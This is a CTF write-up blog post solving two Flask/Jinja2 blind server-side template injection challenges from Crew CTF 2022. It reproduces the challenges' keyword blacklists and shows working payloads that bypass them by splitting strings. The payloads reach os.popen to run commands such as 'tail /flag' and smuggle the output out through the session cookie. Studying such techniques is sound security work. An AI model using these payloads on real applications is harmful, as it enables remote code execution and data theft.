Published on

Crew CTF 2022 – EzChall & EzChall Again

Authors
  • avatar
    Name
    ElleuchX1
    Twitter
    Yeah exactly, the HTB guy

EzChall (Web, 906)

I am looking for a way out for myself, can you help me?
Author: Nino#5160

http://ezchall.crewctf-2022.crewc.tf:1337/
Mirror: http://193.105.207.19:8005/

Attachment: ExChall.zip

In this blogpost, I’ll be showcasing my thought proccess of solving these two challenges.

So, we’re given the source code of the application.

src
    templates
    app.py
    filter.py
    mybase64.py
    requirements.txt
docker-compose.yml
Dockerfile
flag

Let’s first start by poking at app.py where we have 2 Routes (login/dashboard).

Nothing interesting in the second route other than the admin hardcoded credentials

admin: cGFzcyBpcyBhZG1pbiA/Pw==

def login():
	if 'user' in session:
		return redirect(url_for('dashboard'))
	else:
		if request.method == "POST":
			user, passwd = '', ''
			user = request.form['user']
			passwd = request.form['passwd']
			if user == 'admin' and bdecode(passwd) == 'pass is admin ??' and len(passwd) == 24 and passwd != 'cGFzcyBpcyBhZG1pbiA/Pw==':
				session['user'] = user
				return redirect(url_for('dashboard'))
			return render_template('login.html', msg='Incorrect !')
		return render_template('login.html')

For the dashboard endpoint, we have a straightforward blind SSTI vulnerability if the we validate the checker check_filter.

def dashboard():
	if 'user' not in session:
			return redirect(url_for('login'))
	else:
		if request.args.get('payload') is not None:
			payload = request.args.get('payload')
			if check_filter(payload):
				render_template_string(payload)
			return 'I believe you can overcome this difficulty ><'
		return 'miss params'

Now let’s start fun part and check how it’s validating the payload.

I got a bit cocky at first sight and thought this was a typical blind SSTI and rushed copying one of my go-to SSTI payloads and then noticed that request/join/attr/print was filtered and gave up on the typical payloads at this point.

import string

UNALLOWED = [
 'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','=','~']


def check_filter(input):
    input = input.lower()
    if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1:
        return False
    if len(input) < 115:
        for char in input:
            if char in string.digits:
                return False
        for i in UNALLOWED:
            if i in input:
                return False
        return True
    return False

Now let’s find out what’s going on here.

The first thing to notice is the first if statement, we’ll need only one of these to be true to get past it due to the usage of the OR operator.

Which I wish I have noticed earlier, as I was trying to forge / with ${PWD%${PWD#?}} and ended up giving up on it because it was ending with }} and limited length.

$ cat "${PWD%${PWD#?}}"flag
crew{fakeflag}$
if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1 :

Also, a thing to keep in mind the length limit. so we need to have a limited payload size.

if len(input) < 115

Moreover, We can’t use digits so we can’t bypass the blacklist with Unicode.

if char in string.digits:
	return False

Finally, the blacklist.

UNALLOWED = [
 'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','=','~']

I’ve added few debugging prints and an input to the filter to test the payloads that I create.

input=input("> ")
print(check_filter(input))
print("[.] "+str(input.count('.')))
print("[/] "+str(input.count('/')))
print("[:] "+str(input.count(':')))
print("[Len] "+ str(len(input))

So, to summarize, we have a blind SSTI with some interesting blacklist and length limited.

We can make a small skeleton for our payload.

  • It’s a blind SSTI, we don’t really choices here, it’s either making it timing based which can take some space in the payload or just simply creating a new cookie to exfiltrate data using session.update

  • {{ and }} are filtered, so we’ll probably use {%

So, for now our payload will be something like that

{%if session.update({'f':somepayload})%}{%endif%}

At this point, we’re more limited in the actual length of our payload. While i was searching for a smaller payload i came a cross a presentation from Grehack 2021 by @Podalirius which has some interesting payloads and they’re can be found in PayloadsAllTheThings.

I’ll be using another payload later because of the length limit issue, This is how I originally started the challenge. They’ll be in use for the next challenge.

cycler.__init__.__globals__.os.popen('id').read()
joiner.__init__.__globals__.os.popen('id').read()
namespace.__init__.__globals__.os.popen('id').read()

I’ll continue with the first one and to make it easier to deal with blacklisted words and also the count of dots. I’ll change it to this format

cycler['__init__']['__globals__']['os']['popen']('id')['read']()

First, i tried to use [::-1] to reverse the string, then i remembered that digits were filtered. we also can't use + to concatenate the strings as it was filtered

I tried to use format string with int() but ended up failing. - Completely overthinking it

>>> Template("My name is {{cycler['__tini__'[::-1]]['__slabolg__'[::-1]].os.popen('id').read()}}").render()
'My name is uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floopy),27(sudo),29(audio),30(dip),142(kaboxer)\n'

So, the idea here is pretty simple and basically we need to us an empty space between the blacklisted strings.

cycler['__in' 'it__']['__glo' 'bals__']['os']['popen']('id')['rea' 'd']()
>>> Template("My name is {{cycler[r['__in' 'it__']['__glo' 'bals__'].os.popen('id').read()}}").render()
'My name is uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floopy),27(sudo),29(audio),30(dip),142(kaboxer)\n'

At this point, we’re pretty much over.

{%if session.update({'f':cycler['__in' 'it__']['__glo' 'bals__']['os']['popen']('tail /flag')['re' 'ad']()}{%endif%}
$ python3 check_filterz.py
input: {%if session.update({'f':cycler['__in' 'it__']['__glo' 'bals__']['os']['popen']('tail /flag')['re' 'ad']()}{%endif%}
[.] 1
[:] 1
[/] 1
[%] 3
[len] 116

The only problem here, is that we’re exceeding the length limit. This is where I got stuck, I kept searching and fuzzing for smaller payloads and ended up using lipsum.

lipsum.__globals__.__os__.__popen__('id').read()

I then transformed it:

lipsum['__glo' 'bals__']['os']['popen']('tail /flag')['re' 'ad']()

Our final payload is:

{%if session.update({'f':lipsum['__glo' 'bals__']['os']['popen']('tail /flag')['re' 'ad']()})%}{%endif%}
$ python3 check_filterz.py
input: {%if session.update({'f':lipsum['__glo' 'bals__']['os']['popen']('tail /flag')['re' 'ad']()})%}{%endif%}
True

Finally, we submit it and get the cookie and decode it and get the flag \o/

$ flask-unsign -d -c "eyJmIjoiY3Jld3s2ZjAyMWQwNWRiNTE1YTEyNGM5OTg1zmN1NTVlMGI2Yn0iLCJ1c2VyIjoiYWRtaW4ifQ.YlveoA.-EYuiEy5AxCtCGn68xioShVhVsg"
{'f': 'crew{6f021d05db515a124c9985fce55c0b6b}', 'user': 'admin'}

EzChall Again (Web)

So this is pretty much the same challenge but with more filters, we’ll use almost the same techniques before just changing some stuff

import string

UNALLOWED = [
 'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat','if', 'end', 'for', 'sum', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','==','~']


def check_filter(input):
    input = input.lower()
    if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1 or input.count('%') > 2:
        return False
    if len(input) < 115:
        for char in input:
            if char in string.digits:
                return False
        for i in UNALLOWED:
            if i in input:
                return False
        return True
    return False

So basically, we can’t use if / for / lipsum.

Upon reading Jinja2 docs, I’ve found that we can use Assignments using the function set.

{% set a=payload %}

As lipsum is filtered because of sum, we’ll use the payload that we created in the first challenge with cycler.

cycler['__in' 'it__']['__glo' 'bals__']['os']['popen']('id')['rea' 'd']()

Our payload to exfiltrate the flag will be:

session.update({'f':cycler['__ini' 't__']['__glo' 'bals__']['os']['popen']('tac /flag')['re' 'ad']()})

Our final payload is:

{% set a=session.update({'f':cycler['__ini' 't__']['__glo' 'bals__']['os']['popen']('tac /flag')['re' 'ad']()}) %}
[len] 114
True

Now, we can use it and get the cookie containing the flag.

$ flask-unsign -d -c "eyJmIjoiY3Jld3s2NmM5MGMwNzkzYzQ1MmY2YjY4MA5ZWYxYzI4YM3OX0iLCJ1c2VyIjoiYWRtaW4ifQ.Y1v7AQ.5NZKstHzeVcckdiYqsLuOWfvLfw"
{'f': 'crew{66c90c0793c452f6b68209ef1c28ac79}', 'user': 'admin'}

This is all for this post, I hope you liked these two writeups!